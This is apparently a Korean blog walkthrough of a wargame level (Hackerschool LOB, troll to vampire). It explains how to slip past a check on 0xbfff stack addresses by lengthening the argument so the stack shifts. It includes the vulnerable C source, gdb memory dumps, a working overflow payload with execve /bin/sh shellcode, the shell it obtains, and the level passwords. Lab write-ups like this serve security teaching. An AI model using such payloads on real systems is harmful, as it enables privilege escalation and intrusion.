[해커스쿨 LOB] Level9: Troll >> Vampire

두비니

·

2020. 7. 25. 22:57

 

 


Level 9. Troll >> Vampire

Theme: Check 0xbfff


 

 

 

로그인

id : troll
pw : aspirin

 

 

bash2 잊지마시고 코드 확인해봅시다.

[troll@localhost troll]$ bash2
[troll@localhost troll]$ nl vampire.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - vampire
     4          - check 0xbfff
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  main(int argc, char *argv[])
     9  {
    10          char buffer[40];

    11          if(argc < 2){
    12                  printf("argv error\n");
    13                  exit(0);
    14          }

    15          if(argv[1][47] != '\xbf')
    16          {
    17                  printf("stack is still your friend.\n");
    18                  exit(0);
    19          }

    20          // here is changed!
    21          if(argv[1][46] == '\xff')
    22          {
    23                  printf("but it's not forever\n");
    24                  exit(0);
    25          }

    26          strcpy(buffer, argv[1]);
    27          printf("%s\n", buffer);
    28  }

 

제한조건

 

1. 환경변수 사용 불가능

2. 버퍼에 입력 불가능

3. argv[1]의 48번째 바이트는 '\xbf'여야 함

4. argv는 2개 이하 입력

5. argv[1]의 47번째 바이트는 '\xff'이면 안됨(here is changed!) *new!*

 

 

 

5번조건이 새로 추가되고 전 문제에 있던 조건들은 거의 다 사라졌네요.

쉽게 말해서 return주소가 무조건 0xbfff___ 의 꼴이면 안된다는건데 이건 직접 gdb값을 보면서 생각해봅시다.

 

gdb를 이용해서 레지스터를 확인해봅시다.

 

권한이 필요하니 파일을 복사해주시고,

[troll@localhost troll]$ cp vampire vampirl
[troll@localhost troll]$ ls
vampire  vampire.c  vampirl
[troll@localhost troll]$ gdb -q vampirl

 

main문 어셈분석은 생략하겠습니다. strcpy 다음에 breakpoint를 걸었습니다.

(gdb) b * main+137
Breakpoint 1 at 0x80484b9
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/troll/vampirl `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x80484b9 in main ()
(gdb) x/100x $esp
0xbffffb08:     0xbffffb10      0xbffffc81      0x41414141      0x41414141
0xbffffb18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb38:     0x41414141      0xbfbfbfbf      0x00000000      0xbffffb84
0xbffffb48:     0xbffffb90      0x40013868      0x00000002      0x08048380
0xbffffb58:     0x00000000      0x080483a1      0x08048430      0x00000002
0xbffffb68:     0xbffffb84      0x080482e0      0x080484fc      0x4000ae60
0xbffffb78:     0xbffffb7c      0x40013e90      0x00000002      0xbffffc6d
0xbffffb88:     0xbffffc81      0x00000000      0xbffffcb2      0xbffffcd4
0xbffffb98:     0xbffffcde      0xbffffcec      0xbffffd0b      0xbffffd19
0xbffffba8:     0xbffffd32      0xbffffd4d      0xbffffd58      0xbffffd66
0xbffffbb8:     0xbffffda7      0xbffffdb8      0xbffffdcd      0xbffffddd
0xbffffbc8:     0xbffffde8      0xbffffe05      0xbffffe10      0xbffffe1d
0xbffffbd8:     0xbffffe25      0x00000000      0x00000003      0x08048034
0xbffffbe8:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffbf8:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffc08:     0x00000008      0x00000000      0x00000009      0x08048380
0xbffffc18:     0x0000000b      0x000001fc      0x0000000c      0x000001fc
0xbffffc28:     0x0000000d      0x000001fc      0x0000000e      0x000001fc
0xbffffc38:     0x00000010      0x0fabfbff      0x0000000f      0xbffffc68
0xbffffc48:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc58:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc68:     0x36383669      0x6f682f00      0x742f656d      0x6c6c6f72
---Type <return> to continue, or q <return> to quit---
0xbffffc78:     0x6d61762f      0x6c726970      0x41414100      0x41414141
0xbffffc88:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)

 

 

이렇게 레지스터 상황을 확인해보면 모두 0xbfff____영역에 있는 것을 확인 할 수 있습니다. 그러면 이 영역을 벗어나야하는데, 이걸 이해하기 위해서는 스택 프레임이 어떤 방식으로 쌓이는지 이해해야합니다.

   

 

이전부터 파일 이름의 길이도 바이너리에 영향을 주기때문에 이왕이면 길이를 같게 해야한다는게 기억나나요?

그건 스택 프레임이 컴파일링되면서 메모리가 미리 할당이 되는데, 이게 여러가지 요인에 인해 영향을 받기 때문입니다. 아래 그림을 보면서 설명을 한번 더 하겠습니다.

 

 

다음은 프로그램이 실행 될 때마다 발생되는 상황을 대충 그려놓은 것입니다. 왼쪽의 segment가 있는 부분들은 컴퓨터 메모리 전체라고 보면 됩니다. 크게 유저가 접근할 수 없는 kernel 영역과 유저가 접근할 수 있는 유저 영역으로 나뉘며, 유저 영역 안의 저 segment들에 프로그램이 하나씩 실행된다고 생각하면 편할겁니다. (물론!! 엄밀하게 말하면 아닐수도 있는데 일단 이정도 단계에서 굳이 복잡하게 설명할 필요가 없을 것 같아 생략합니다.)

 

아무튼 각 세그먼트 안에는 우리가 아는 stack, data, code같은 영역으로 나뉘게 됩니다. (이것도 bss랑 libc, heap처럼 다른 영역도 있는건 당연히 아는데!!! 굳이 여기서 안다루는 부분은 뺐습니다!!!!)

 

아무튼 왜 이런 개념까지 들고왔느냐?

 

이런 세그먼트의 크기는 코드의 크기, 내가 넘겨주는 매개변수의 크기/길이, 코드 안에서 할당하는 메모리 수 등.... 에 의해 결정됩니다. 그러면 세그먼트의 크기가 커질수록, 스택의 범위 또한 커질것이니 스택의 크기가 정말정말 커진다면  0xbfff____의 영역을 벗어날 수도 있겠죠? (ex. 0xbffe____ )

 

 

 

+)메모리 구조에 대해서 잘 모르겠다면, 제가 앵무새처럼 말하는 달고나-해커 지망생이 알아야 할 bof기초 를 읽어보거나 아래 글을 읽어보는게 좋을듯!

참고: https://shayete.tistory.com/entry/2-Stack-Corruption-gdb-%EB%AA%85%EB%A0%B9%EC%96%B4?category=857069

 

2. Stack Corruption & gdb 명령어

Shayete입니다. 오늘은 기본적인 Stack Corruption 및 gdb명령어 사용법에 대해 배워보도록 하겠습니다.  Stack Corruption은 Buffer Overflow의 현대적 용어로 의미는 같습니다. Buffer Overflow가 스택에 할..

shayete.tistory.com

간략히 설명하기 위해 이정도로 마무리짓지만, 저도 정확하게 알고있는건 아니라 한번 제대로 공부한 뒤에 메모리 구조 관련한 글을 정리해서 한번 쓰도록 하겠습니다.

 

 

 

아무튼, 지금 문제에서 argv[1]에 대해서는 길이제한이 없는 상황이기 때문에 이를 이용해서 nop를 왕창 넣고 분석을 해보겠습니다. 

 

(gdb)  r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/troll/vampirl `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90"*100000 + "\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x80484b9 in main ()
(gdb) x/x $esp
0xbffe7448:     0xbffe7450

 

좀 과하게 nop를 10만개를 넣어보았습니다.ㅎ

gdb로 분석을 해보니 현재 esp의 주소가 0xbffe7448로 잡혔네요. 

 

(gdb) x/24x $esp
0xbffe7448:     0xbffe7450      0xbffe75c8      0x41414141      0x41414141
0xbffe7458:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe7468:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe7478:     0x41414141      0xbfbfbfbf      0x90909090      0x90909090
0xbffe7488:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7498:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74a8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74b8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74d8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74e8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe74f8:     0x90909090      0x90909090      0x90909090      0x90909090

 

nop영역도 0xbffe____ 영역에 잡히네요. return 주소는 0xbffe74f8로 잡겠습니다.

 

 

[troll@localhost troll]$ ./vampire `python -c 'print "A"*44 + "\xf8\x74\xfe\xbf" + "\x90"*100000 + "\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒t▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
...(중략)
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                         
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

 

nop가 10만개니 payload가 많이 기네요.

매개변수의 길이가 메모리 할당에 어떤 영향을 주는지만 이해를 하면 쉬운 문제였습니다.

다음!